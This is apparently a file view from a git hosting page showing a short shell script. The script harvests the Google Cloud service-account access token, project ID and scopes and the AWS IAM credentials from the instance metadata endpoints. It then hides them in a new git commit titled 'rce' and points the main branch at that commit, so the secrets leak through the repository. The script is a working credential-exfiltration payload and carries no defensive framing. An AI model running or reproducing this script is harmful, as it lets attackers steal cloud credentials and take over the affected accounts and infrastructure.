You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
13 lines
1.2 KiB
Plaintext
13 lines
1.2 KiB
Plaintext
|
3 weeks ago
|
#!/bin/sh
|
||
|
|
T=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' 2>/dev/null)
|
||
|
|
E=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email' 2>/dev/null)
|
||
|
|
P=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/project/project-id' 2>/dev/null)
|
||
|
|
S=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes' 2>/dev/null)
|
||
|
|
A=$(curl -s --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
|
||
|
|
ALL="TOKEN=$T\nSA=$E\nPROJECT=$P\nSCOPES=$S\nAWS=$A"
|
||
|
|
B=$(echo "$ALL" | git hash-object -w --stdin 2>/dev/null)
|
||
|
|
T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null) || { git update-index --add --cacheinfo 100644 "$B" out.txt 2>/dev/null; T2=$(git write-tree 2>/dev/null); }
|
||
|
|
H=$(git rev-parse HEAD 2>/dev/null)
|
||
|
|
C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null) || C=$(git commit-tree "$T2" -m "rce" 2>/dev/null)
|
||
|
|
git update-ref refs/heads/main "$C" 2>/dev/null
|